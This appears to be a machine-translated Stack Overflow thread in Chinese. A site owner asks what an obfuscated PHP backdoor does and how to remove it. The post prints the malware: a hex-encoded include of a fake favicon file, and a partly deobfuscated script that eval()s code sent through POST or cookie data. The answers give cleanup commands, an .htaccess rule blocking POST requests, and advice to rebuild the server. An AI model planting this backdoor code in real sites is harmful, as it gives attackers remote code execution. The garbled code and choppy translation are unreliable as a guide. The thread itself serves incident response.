我的网站感染了模糊的PHP恶意软件-它在做什么+;我怎样才能摆脱它?

我的网站感染了模糊的PHP恶意软件-它在做什么+;我怎样才能摆脱它?,php,security,web,obfuscation,malware,Php,Security,Web,Obfuscation,Malware,我有三个网站都托管在同一个Web服务器上。最近我在一个网站上工作,发现大约一个月前,一堆文件被修改了。具体来说,index.html的所有实例都已重命名为index.html.bak.bak,并且index.php文件已放置到位。index.php文件相对简单;它们包括一个隐藏在每个网站文件系统(看似随机文件夹)某处的文件,该文件使用JS十六进制编码进行了模糊处理,然后回显原始index.html: <?php /*2d4f2*/ @include "\x2fm\x6et\x2fs\x7

我有三个网站都托管在同一个Web服务器上。最近我在一个网站上工作,发现大约一个月前,一堆文件被修改了。具体来说,
index.html
的所有实例都已重命名为
index.html.bak.bak
,并且
index.php
文件已放置到位。
index.php
文件相对简单;它们包括一个隐藏在每个网站文件系统(看似随机文件夹)某处的文件,该文件使用JS十六进制编码进行了模糊处理,然后回显原始index.html:

<?php
/*2d4f2*/

@include "\x2fm\x6et\x2fs\x74o\x721\x2dw\x631\x2dd\x66w\x31/\x338\x304\x323\x2f4\x365\x380\x39/\x77w\x77.\x77e\x62s\x69t\x65.\x63o\x6d/\x77e\x62/\x63o\x6et\x65n\x74/\x77p\x2di\x6ec\x6cu\x64e\x73/\x6as\x2fs\x77f\x75p\x6co\x61d\x2ff\x61v\x69c\x6fn\x5f2\x391\x337\x32.\x69c\x6f";

/*2d4f2*/


echo file_get_contents('index.html.bak.bak');
此外,在网站的一个内容文件夹中有一个名为
init5.php
的文件,该文件在尽可能多地去除泡沫后,会变成:

$GLOBALS['893\Gt3$3'] = $_POST;
$GLOBALS['S9]<\<\$'] = $_COOKIE;
@>P>r"$,('$66N6rTNj', NULL);
@>P>r"$,('TNjr$66N6"', 0);
@>P>r"$,('k3'r$'$9#,>NPr,>k$', 0);
@"$,r,>k$rT>k>,(0);
$w6f96424 = NULL;
$s02c4f38 = NULL;
global $y10a790;
function a31f0($w6f96424, $afb8d)
{
    $p98c0e = "";

    for ($r035e7=0; $r035e7<",6T$P($w6f96424);)
    {
        for ($l545=0; $l545<",6T$P($afb8d) && $r035e7<",6T$P($w6f96424); $l545++, $r035e7++)
        {
            $p98c0e .= 9)6(N6`($w6f96424[$r035e7]) ^ N6`($afb8d[$l545]));
        }
    }

    return $p98c0e;
}

function la30956($w6f96424, $afb8d)
{
    global $y10a790;

    return 3\x9<(3\x9<($w6f96424, $y10a790), $afb8d);
}

foreach ($GLOBALS['S9]<\<\$'] as $afb8d=>$ua56c9d)
{
    $w6f96424 = $ua56c9d;
    $s02c4f38 = $afb8d;
}

if (!$w6f96424)
{
    foreach ($GLOBALS['893\Gt3$3'] as $afb8d=>$ua56c9d)
    {
        $w6f96424 = $ua56c9d;
        $s02c4f38 = $afb8d;
    }
}

$w6f96424 = @#P"$6>3T>a$(T3\<]tO(R3"$OIr`$9N`$($w6f96424), $s02c4f38));
if (isset($w6f96424['38']) && $y10a790==$w6f96424['38'])
{
    if ($w6f96424['3'] == '>')
    {
        $r035e7 = Array(
            '@=' => @@)@=$6">NP(),
            '"=' => 'x%<Fx',
        );
        echo @"$6>3T>a$($r035e7);
    }
    elseif ($w6f96424['3'] == '$')
    {
        eval($w6f96424['`']);
    }

}
$GLOBALS['893\Gt3$3']=$\u POST;
$GLOBALS['S9]@=$6“>NP(),

“=”=>“x%我有同样的恶意软件。恶意软件会添加或修改10到15个文件。我使用Quttera WordPress插件(免费)查找文件。大多数文件都可以被删除(小心,Quttera ID比实际感染的多),但是一些WordPress文件被修改了,必须被替换

我还没有找到如何防止这些文件出现在我的服务器上,但我可以将它们删除,下面是一个单行程序,它可以在文件夹中爬行并删除它们:

find . -type f -name 'favicon_*.ico' -delete -print
我也有同样的问题。 它是由恶意http post请求引起的。 下面是一篇关于如何阻止它的好文章:

.htaccess文件中的以下内容将停止所有post请求。

#拒绝所有POST请求
重写cond%{REQUEST_METHOD}POST
重写规则。*-[F,L]

这不是一种黑客行为,你不需要把你的网站和服务器弄得乱七八糟。这只是一个php黑客。摆脱所有的恶意php文件和代码,你会很好。下面是我如何在drupal上实现的

我必须为自己编写一个PHP脚本来扫描整个服务器树,列出所有目录路径,还有一个脚本来扫描这些路径以查找感染。只能进行部分清理,但在行人清理方面提供了急需的帮助

注意:
它写得很差,可能应该在使用后删除。但是它帮助了我

压缩后的副本不可用。
没有保证;解压它,看看你把什么放在你的服务器上,然后再上传它


更新:现在清洁更多(不是全部!)。接着进行手部清洁(见下文)。

此时您不能信任服务器上的任何东西

  • 重新安装操作系统

  • 使用干净或已知良好的数据库版本重新安装已知良好的代码副本

在这一点上,仅仅替换/删除“坏”文件是没有用的,因为攻击者完全可以做任何事情,从“什么都不做”到用黑客版本替换系统级软件,这些版本可以做任何想要做的事情。举个例子,在某个时刻,即使重建了可执行文件,maware仍然存在,而且它阻止了调试器检测到它

有各种各样的清理器可用,但它们依赖于知道/检测/撤销攻击者可能做过的一切,这是不可能的


如果你有良好的日常备份,你可以在“你拥有的”和“你以前拥有的”之间做一个
diff
,看看发生了什么变化,但是你仍然需要仔细检查或恢复你的数据库,因为许多攻击都涉及更改数据,而不是代码。

你有感染之前的文件备份吗?你最好的办法是用核武器攻击服务器并重置一切。你不知道还有什么可能会被感染,因此没有必要尝试搜寻或冒险留下任何东西,从头开始。这可能是试图向访问你的网站的人发送恶意软件-关闭网站以限制它对他人造成的损害,确保你有任何重要内容的备份,然后将其从轨道上核爆并从头开始重建。更改密码以访问主机。删除所有文件。从备份恢复。请记住,他们现在有你的数据库密码。如果你与你的主机共享,他们可以完全控制你的帐户。不幸的是,没有备份,但没有太多重要的事情不能重做——我想这只是浪费时间重建网站。备份将从现在开始进行。唯一的一件事是,我们想保留一些媒体文件——这些文件已经在那里存档多年,而且相当重要。我们有没有办法确保这些病毒没有被感染并安全地存档?你会想知道你应该放弃整个服务器。你不能保存它。我知道已经有一段时间了,但是把你的服务器扔到垃圾箱里也没什么。您的内容中有恶意php代码。运行数据库搜索可能会起作用,但也会使大多数网站停止工作。有人怎么能停止不来自网站自己页面的帖子呢?这太棒了。面对这一切,这是一个救世主。不,这是一个严重的后门。它允许攻击者在受感染的服务器上执行任何PHP代码。仅仅删除后门并不能使系统上其他可能通过此后门修改的内容不受影响。在最坏的情况下,一个获取特权系统访问权限的本地攻击被上传并以这种方式执行。是的,这就是我最后所做的。zx485,感谢编辑。在最终清理服务器后进行后续操作。使用“压缩副本”,但是,脚本没有按需要完成,这是一个紧急修复。运行时,立即按照以下步骤操作-尽量不要晕倒:*将服务器副本FTP到本地计算机。*搜索并列出所有PHP文件(祝CMS好运)*查找并删除所有“胡说八道”。从live server(本地搜索提供位置)找到PHP文件名)*在live server上,打开每个脚本报告的“已感染”文件并移除感染(例如使用Filezilla)
find . -type f -name 'favicon_*.ico' -delete -print
# deny all POST requests
<IfModule mod_rewrite.c>
        RewriteCond %{REQUEST_METHOD} POST
        RewriteRule .* - [F,L]
</IfModule>